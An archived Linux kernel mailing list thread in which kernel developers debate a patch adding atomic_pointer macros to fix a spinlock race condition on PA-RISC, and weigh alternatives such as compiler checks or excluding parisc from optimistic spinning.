Message-ID: <20140602162525.GH16155@laptop.programming.kicks-ass.net>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
 <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1401726357 31552 80.91.229.3 (2 Jun 2014 16:25:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 16:25:57 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	jejb@parisc-linux.org, deller@gmx.de,
	John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	paulmck@linux.vnet.ibm.com, chegu_vinod@hp.com, Waiman.Long@hp.com,
	tglx@linutronix.de, riel@redhat.com, akpm@linux-foundation.org,
	davidlohr@hp.com, hpa@zytor.com, andi@firstfloor.org, aswin@hp.com,
	scott.norton@hp.com, Jason Low <jason.low2@hp.com>
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 02 18:25:47 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WrV3S-0008BJ-Su
	for glpp-linux-parisc@plane.gmane.org; Mon, 02 Jun 2014 18:25:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755368AbaFBQZq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Jun 2014 12:25:46 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:44355 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754570AbaFBQZp (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Jun 2014 12:25:45 -0400
Original-Received: from dhcp-077-248-225-117.chello.nl ([77.248.225.117] helo=laptop)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1WrV3B-0005Ks-BW; Mon, 02 Jun 2014 16:25:29 +0000
Original-Received: by laptop (Postfix, from userid 1000)
	id E2BA41034D931; Mon,  2 Jun 2014 18:25:25 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com>
User-Agent: Mutt/1.5.21 (2012-12-30)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5828 gmane.linux.kernel:1716193
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5828>

On Mon, Jun 02, 2014 at 12:00:45PM -0400, Mikulas Patocka wrote:
>  struct optimistic_spin_queue {
> -	struct optimistic_spin_queue *next, *prev;
> +	atomic_pointer(struct optimistic_spin_queue *) next;
> +	struct optimistic_spin_queue *prev;
>  	int locked; /* 1 if lock acquired */
>  };
>  
> Index: linux-3.15-rc8/include/asm-generic/atomic-long.h
> ===================================================================
> --- linux-3.15-rc8.orig/include/asm-generic/atomic-long.h	2014-06-02 17:11:17.000000000 +0200
> +++ linux-3.15-rc8/include/asm-generic/atomic-long.h	2014-06-02 17:11:50.000000000 +0200
> @@ -255,4 +255,31 @@ static inline long atomic_long_add_unles
>  
>  #endif  /*  BITS_PER_LONG == 64  */
>  
> +#define atomic_pointer(type)						\
> +union {									\
> +	atomic_long_t __a;						\
> +	type __t;							\
> +	char __check_sizeof[sizeof(type) == sizeof(long) ? 1 : -1];	\
> +}

That's still entirely disgusting, and afaict entirely redundant. You can
do that test in the operators below just fine.

> +#define ATOMIC_POINTER_INIT(i)	{ .__t = (i) }
> +
> +#define atomic_pointer_read(v)	((typeof((v)->__t))atomic_long_read(&(v)->__a))
> +
> +#define atomic_pointer_set(v, i)		({			\
> +	typeof((v)->__t) __i = (i);					\
> +	atomic_long_set(&(v)->__a, (long)(__i));			\
> +})
> +
> +#define atomic_pointer_xchg(v, i)		({			\
> +	typeof((v)->__t) __i = (i);					\
> +	(typeof((v)->__t))atomic_long_xchg(&(v)->__a, (long)(__i));	\
> +})
> +
> +#define atomic_pointer_cmpxchg(v, old, new)	({			\
> +	typeof((v)->__t) __old = (old);					\
> +	typeof((v)->__t) __new = (new);					\
> +	(typeof((v)->__t))atomic_long_cmpxchg(&(v)->__a, (long)(__old), (long)(__new));\
> +})

And I can't say I'm a particular fan of these ops either, as alternative
I'm almost inclined to just exclude parisc from using opt spinning.

That said, this patch still doesn't address the far more interesting
problem of actually finding these issues for these few weird archs.


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <peterz@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Mon, 2 Jun 2014 18:30:32 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <20140602163032.GI16155@laptop.programming.kicks-ass.net>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
 <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com>
 <20140602162525.GH16155@laptop.programming.kicks-ass.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1401726662 3216 80.91.229.3 (2 Jun 2014 16:31:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 16:31:02 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	jejb@parisc-linux.org, deller@gmx.de,
	John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	paulmck@linux.vnet.ibm.com, chegu_vinod@hp.com, Waiman.Long@hp.com,
	tglx@linutronix.de, riel@redhat.com, akpm@linux-foundation.org,
	davidlohr@hp.com, hpa@zytor.com, andi@firstfloor.org, aswin@hp.com,
	scott.norton@hp.com, Jason Low <jason.low2@hp.com>
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 02 18:30:53 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WrV8O-0004Jr-JI
	for glpp-linux-parisc@plane.gmane.org; Mon, 02 Jun 2014 18:30:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754313AbaFBQav (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Jun 2014 12:30:51 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:49917 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753536AbaFBQav (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Jun 2014 12:30:51 -0400
Original-Received: from dhcp-077-248-225-117.chello.nl ([77.248.225.117] helo=laptop)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1WrV86-0008I4-4r; Mon, 02 Jun 2014 16:30:34 +0000
Original-Received: by laptop (Postfix, from userid 1000)
	id 59D071034D931; Mon,  2 Jun 2014 18:30:32 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20140602162525.GH16155@laptop.programming.kicks-ass.net>
User-Agent: Mutt/1.5.21 (2012-12-30)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5829 gmane.linux.kernel:1716201
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5829>

On Mon, Jun 02, 2014 at 06:25:25PM +0200, Peter Zijlstra wrote:
> I'm almost inclined to just exclude parisc from using opt spinning.
> 
> That said, this patch still doesn't address the far more interesting
> problem of actually finding these issues for these few weird archs.

So why do these archs provide xchg() and cmpxchg() at all? Wouldn't it
be much simpler if archs that cannot sanely do this, not provide these
primitives at all?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix a race condition in cancelable mcs spinlocks
Date: Mon, 2 Jun 2014 09:39:35 -0700
Lines: 99
Approved: news@gmane.org
Message-ID: <20140602163935.GR22231@linux.vnet.ibm.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
 <20140601192026.GE16155@laptop.programming.kicks-ass.net>
 <BLU0-SMTP387BD0AE22A4EAD432D65F97210@phx.gbl>
 <20140601213003.GG16155@laptop.programming.kicks-ass.net>
 <alpine.LRH.2.02.1406020503000.17105@file01.intranet.prod.int.rdu2.redhat.com>
 <20140602132454.GO22231@linux.vnet.ibm.com>
 <alpine.LRH.2.02.1406021146030.20627@file01.intranet.prod.int.rdu2.redhat.com>
Reply-To: paulmck@linux.vnet.ibm.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1401727194 9325 80.91.229.3 (2 Jun 2014 16:39:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 16:39:54 +0000 (UTC)
Cc: Peter Zijlstra <peterz@infradead.org>,
	John David Anglin <dave.anglin@bell.net>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	jejb@parisc-linux.org, deller@gmx.de, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, chegu_vinod@hp.com,
	Waiman.Long@hp.com, tglx@linutronix.de, riel@redhat.com,
	akpm@linux-foundation.org, davidlohr@hp.com, hpa@zytor.com,
	andi@firstfloor.org, aswin@hp.com, scott.norton@hp.com,
	Jason Low <jason.low2@hp.com>
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 02 18:39:44 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WrVGy-0002NL-5W
	for glpp-linux-parisc@plane.gmane.org; Mon, 02 Jun 2014 18:39:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753128AbaFBQjn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Jun 2014 12:39:43 -0400
Original-Received: from e36.co.us.ibm.com ([32.97.110.154]:34936 "EHLO
	e36.co.us.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751493AbaFBQjm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Jun 2014 12:39:42 -0400
Original-Received: from /spool/local
	by e36.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-parisc@vger.kernel.org> from <paulmck@linux.vnet.ibm.com>;
	Mon, 2 Jun 2014 10:39:41 -0600
Original-Received: from d03dlp03.boulder.ibm.com (9.17.202.179)
	by e36.co.us.ibm.com (192.168.1.136) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Mon, 2 Jun 2014 10:39:39 -0600
Original-Received: from b03cxnp08025.gho.boulder.ibm.com (b03cxnp08025.gho.boulder.ibm.com [9.17.130.17])
	by d03dlp03.boulder.ibm.com (Postfix) with ESMTP id 960E219D8042;
	Mon,  2 Jun 2014 10:39:31 -0600 (MDT)
Original-Received: from d03av06.boulder.ibm.com (d03av06.boulder.ibm.com [9.17.195.245])
	by b03cxnp08025.gho.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id s52GdcpN64946190;
	Mon, 2 Jun 2014 18:39:38 +0200
Original-Received: from d03av06.boulder.ibm.com (loopback [127.0.0.1])
	by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id s52GhasI024927;
	Mon, 2 Jun 2014 10:43:39 -0600
Original-Received: from paulmck-ThinkPad-W500 ([9.70.82.160])
	by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id s52GhZmG024911;
	Mon, 2 Jun 2014 10:43:35 -0600
Original-Received: by paulmck-ThinkPad-W500 (Postfix, from userid 1000)
	id 3A2FA3814C3; Mon,  2 Jun 2014 09:39:35 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <alpine.LRH.2.02.1406021146030.20627@file01.intranet.prod.int.rdu2.redhat.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-TM-AS-MML: disable
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 14060216-3532-0000-0000-0000022E36D8
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5830 gmane.linux.kernel:1716209
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5830>

On Mon, Jun 02, 2014 at 11:57:14AM -0400, Mikulas Patocka wrote:
> 
> 
> On Mon, 2 Jun 2014, Paul E. McKenney wrote:
> 
> > On Mon, Jun 02, 2014 at 05:19:39AM -0400, Mikulas Patocka wrote:
> > > 
> > > 
> > > On Sun, 1 Jun 2014, Peter Zijlstra wrote:
> > > 
> > > > On Sun, Jun 01, 2014 at 04:46:26PM -0400, John David Anglin wrote:
> > > > > On 1-Jun-14, at 3:20 PM, Peter Zijlstra wrote:
> > > > > 
> > > > > >>If you write to some variable with ACCESS_ONCE and use cmpxchg or xchg
> > > > > >>at
> > > > > >>the same time, you break it. ACCESS_ONCE doesn't take the hashed
> > > > > >>spinlock,
> > > > > >>so, in this case, cmpxchg or xchg isn't really atomic at all.
> > > > > >
> > > > > >And this is really the first place in the kernel that breaks like this?
> > > > > >I've been using xchg() and cmpxchg() without such consideration for
> > > > > >quite a while.
> > > > > 
> > > > > I believe Mikulas is correct.  Even in a controlled situation where a
> > > > > cmpxchg operation
> > > > > is used to implement pthread_spin_lock() in userspace, we found recently
> > > > > that the lock
> > > > > must be released with a  cmpxchg operation and not a simple write on SMP
> > > > > systems.
> > > > > There is a race in the cache operations or instruction ordering that's not
> > > > > present with
> > > > > the ldcw instruction.
> > > > 
> > > > Oh, I'm not arguing that. He's quite right that its broken, but this
> > > > form of atomic ops is also quite insane and unusual. Most sane machines
> > > > don't have this problem.
> > > > 
> > > > My main concern is how are we going to avoid breaking parisc (and I
> > > > think sparc32, which is similarly retarded) in the future; we should
> > > > invest in machinery to find and detect these things.
> > > 
> > > Grep the kernel for "\<xchg\>" and "\<cmpxchg\>" and replace them with 
> > > atomic types and atomic access functions.
> > 
> > Not so good for pointers, though.  Defeats type-checking, for one thing.
> > An example of this is use of xchg() for atomically enqueuing RCU callbacks
> > in kernel/rcu/tree_plugin.h.
> > 
> > I still like the idea of PA-RISC's compiler implementing ACCESS_ONCE()
> > as needed to make things work on that architecture.
> > 
> > 							Thanx, Paul
> 
> We can perform some preprocessor tricks to check the pointer type. See my 
> next patch that adds type checking - you declare the variable with
> 
> 	atomic_pointer(struct optimistic_spin_queue *) next;
> 
> and the pointer type is checked on all atomic operations involving this 
> variable.

The special handling of ACCESS_ONCE() on architectures needing it is
way better than this sort of modification, from what I can see.

> The problem with ACCESS_ONCE is that people omit it. There's plenty of 
> places in the kernel where ACCESS_ONCE should be used and isn't 
> (i_size_read, i_size_write, rt_mutex_is_locked...). Nothing really forces 
> people to write the code correctly and use it.

Well, that would be another thing to add to the compiler modification,
have it check for a variable passed to xchg() or cmpxchg() and assigned
without the benefit of ACCESS_ONCE().  Of course, there will be false
positives, such as non-atomic assignments during initialization and
cleanup that cannot race with xchg() or cmpxchg().  Also cases where
all the xchg() and cmpxchg() are done under a lock, so that normal
assignments under that lock are OK.

Alternatively, perhaps a coccinelle script or change to sparse, smatch,
or whatever could help here.

> atomic_pointer (and other atomic types) have the advantage that they force 
> people to use the atomic functions to access them. If you read or write to 
> the variable directly, it won't compile.

Including the safe uses of normal assignment called out above?

> I think the best solution is to wrap the critical pointers with 
> atomic_pointer(pointer_type *) and let the compiler report errors on all 
> places where it is used unsafely.

I understand that you like this approach, but I am not at all convinced.

							Thanx, Paul

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Mon, 2 Jun 2014 09:43:40 -0700
Lines: 68
Approved: news@gmane.org
Message-ID: <20140602164339.GS22231@linux.vnet.ibm.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
 <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com>
 <20140602162525.GH16155@laptop.programming.kicks-ass.net>
Reply-To: paulmck@linux.vnet.ibm.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1401727442 12456 80.91.229.3 (2 Jun 2014 16:44:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 16:44:02 +0000 (UTC)
Cc: Mikulas Patocka <mpatocka@redhat.com>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	jejb@parisc-linux.org, deller@gmx.de,
	John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	chegu_vinod@hp.com, Waiman.Long@hp.com, tglx@linutronix.de,
	riel@redhat.com, akpm@linux-foundation.org, davidlohr@hp.com,
	hpa@zytor.com, andi@firstfloor.org, aswin@hp.com,
	scott.norton@hp.com, Jason Low <jason.low2@hp.com>
To: Peter Zijlstra <peterz@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 02 18:43:53 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WrVKu-0007Dw-U6
	for glpp-linux-parisc@plane.gmane.org; Mon, 02 Jun 2014 18:43:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753293AbaFBQnr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Jun 2014 12:43:47 -0400
Original-Received: from e33.co.us.ibm.com ([32.97.110.151]:49499 "EHLO
	e33.co.us.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752013AbaFBQnq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Jun 2014 12:43:46 -0400
Original-Received: from /spool/local
	by e33.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-parisc@vger.kernel.org> from <paulmck@linux.vnet.ibm.com>;
	Mon, 2 Jun 2014 10:43:46 -0600
Original-Received: from d03dlp01.boulder.ibm.com (9.17.202.177)
	by e33.co.us.ibm.com (192.168.1.133) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Mon, 2 Jun 2014 10:43:43 -0600
Original-Received: from b03cxnp08026.gho.boulder.ibm.com (b03cxnp08026.gho.boulder.ibm.com [9.17.130.18])
	by d03dlp01.boulder.ibm.com (Postfix) with ESMTP id B69B4C40001;
	Mon,  2 Jun 2014 10:43:42 -0600 (MDT)
Original-Received: from d03av06.boulder.ibm.com (d03av06.boulder.ibm.com [9.17.195.245])
	by b03cxnp08026.gho.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id s52GgjiD10944886;
	Mon, 2 Jun 2014 18:42:45 +0200
Original-Received: from d03av06.boulder.ibm.com (loopback [127.0.0.1])
	by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id s52Gle4s008339;
	Mon, 2 Jun 2014 10:47:42 -0600
Original-Received: from paulmck-ThinkPad-W500 ([9.70.82.160])
	by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id s52GlesH008329;
	Mon, 2 Jun 2014 10:47:40 -0600
Original-Received: by paulmck-ThinkPad-W500 (Postfix, from userid 1000)
	id 1B5BE3814C3; Mon,  2 Jun 2014 09:43:40 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20140602162525.GH16155@laptop.programming.kicks-ass.net>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-TM-AS-MML: disable
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 14060216-0928-0000-0000-00000259A056
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5831 gmane.linux.kernel:1716210
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5831>

On Mon, Jun 02, 2014 at 06:25:25PM +0200, Peter Zijlstra wrote:
> On Mon, Jun 02, 2014 at 12:00:45PM -0400, Mikulas Patocka wrote:
> >  struct optimistic_spin_queue {
> > -	struct optimistic_spin_queue *next, *prev;
> > +	atomic_pointer(struct optimistic_spin_queue *) next;
> > +	struct optimistic_spin_queue *prev;
> >  	int locked; /* 1 if lock acquired */
> >  };
> >  
> > Index: linux-3.15-rc8/include/asm-generic/atomic-long.h
> > ===================================================================
> > --- linux-3.15-rc8.orig/include/asm-generic/atomic-long.h	2014-06-02 17:11:17.000000000 +0200
> > +++ linux-3.15-rc8/include/asm-generic/atomic-long.h	2014-06-02 17:11:50.000000000 +0200
> > @@ -255,4 +255,31 @@ static inline long atomic_long_add_unles
> >  
> >  #endif  /*  BITS_PER_LONG == 64  */
> >  
> > +#define atomic_pointer(type)						\
> > +union {									\
> > +	atomic_long_t __a;						\
> > +	type __t;							\
> > +	char __check_sizeof[sizeof(type) == sizeof(long) ? 1 : -1];	\
> > +}
> 
> That's still entirely disgusting, and afaict entirely redundant. You can
> do that test in the operators below just fine.
> 
> > +#define ATOMIC_POINTER_INIT(i)	{ .__t = (i) }
> > +
> > +#define atomic_pointer_read(v)	((typeof((v)->__t))atomic_long_read(&(v)->__a))
> > +
> > +#define atomic_pointer_set(v, i)		({			\
> > +	typeof((v)->__t) __i = (i);					\
> > +	atomic_long_set(&(v)->__a, (long)(__i));			\
> > +})
> > +
> > +#define atomic_pointer_xchg(v, i)		({			\
> > +	typeof((v)->__t) __i = (i);					\
> > +	(typeof((v)->__t))atomic_long_xchg(&(v)->__a, (long)(__i));	\
> > +})
> > +
> > +#define atomic_pointer_cmpxchg(v, old, new)	({			\
> > +	typeof((v)->__t) __old = (old);					\
> > +	typeof((v)->__t) __new = (new);					\
> > +	(typeof((v)->__t))atomic_long_cmpxchg(&(v)->__a, (long)(__old), (long)(__new));\
> > +})
> 
> And I can't say I'm a particular fan of these ops either, as alternative
> I'm almost inclined to just exclude parisc from using opt spinning.

That is an excellent point for this particular issue.  Do parisc systems
really support enough CPUs to make queued spinlocks worthwhile?  If not,
maybe we should just have parisc stick with traditional spinlocks.

> That said, this patch still doesn't address the far more interesting
> problem of actually finding these issues for these few weird archs.

Indeed.  And finding other lower-probability failures due to other
atomic manipulations of pointers that are also accessed with normal
loads and stores.

							Thanx, Paul

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Mon, 2 Jun 2014 09:46:55 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20140602164655.GT22231@linux.vnet.ibm.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
 <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com>
 <20140602162525.GH16155@laptop.programming.kicks-ass.net>
 <20140602163032.GI16155@laptop.programming.kicks-ass.net>
Reply-To: paulmck@linux.vnet.ibm.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1401727636 14900 80.91.229.3 (2 Jun 2014 16:47:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 16:47:16 +0000 (UTC)
Cc: Mikulas Patocka <mpatocka@redhat.com>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	jejb@parisc-linux.org, deller@gmx.de,
	John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	chegu_vinod@hp.com, Waiman.Long@hp.com, tglx@linutronix.de,
	riel@redhat.com, akpm@linux-foundation.org, davidlohr@hp.com,
	hpa@zytor.com, andi@firstfloor.org, aswin@hp.com,
	scott.norton@hp.com, Jason Low <jason.low2@hp.com>
To: Peter Zijlstra <peterz@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 02 18:47:03 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WrVO2-0001Wa-Kt
	for glpp-linux-parisc@plane.gmane.org; Mon, 02 Jun 2014 18:47:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752015AbaFBQrB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Jun 2014 12:47:01 -0400
Original-Received: from e39.co.us.ibm.com ([32.97.110.160]:54259 "EHLO
	e39.co.us.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752013AbaFBQrA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Jun 2014 12:47:00 -0400
Original-Received: from /spool/local
	by e39.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-parisc@vger.kernel.org> from <paulmck@linux.vnet.ibm.com>;
	Mon, 2 Jun 2014 10:46:59 -0600
Original-Received: from d03dlp03.boulder.ibm.com (9.17.202.179)
	by e39.co.us.ibm.com (192.168.1.139) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Mon, 2 Jun 2014 10:46:58 -0600
Original-Received: from b03cxnp08026.gho.boulder.ibm.com (b03cxnp08026.gho.boulder.ibm.com [9.17.130.18])
	by d03dlp03.boulder.ibm.com (Postfix) with ESMTP id 2D13519D8042;
	Mon,  2 Jun 2014 10:46:50 -0600 (MDT)
Original-Received: from d03av06.boulder.ibm.com (d03av06.boulder.ibm.com [9.17.195.245])
	by b03cxnp08026.gho.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id s52GjxAi33226912;
	Mon, 2 Jun 2014 18:45:59 +0200
Original-Received: from d03av06.boulder.ibm.com (loopback [127.0.0.1])
	by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id s52Goul9020526;
	Mon, 2 Jun 2014 10:50:57 -0600
Original-Received: from paulmck-ThinkPad-W500 ([9.70.82.160])
	by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id s52Gotwl020509;
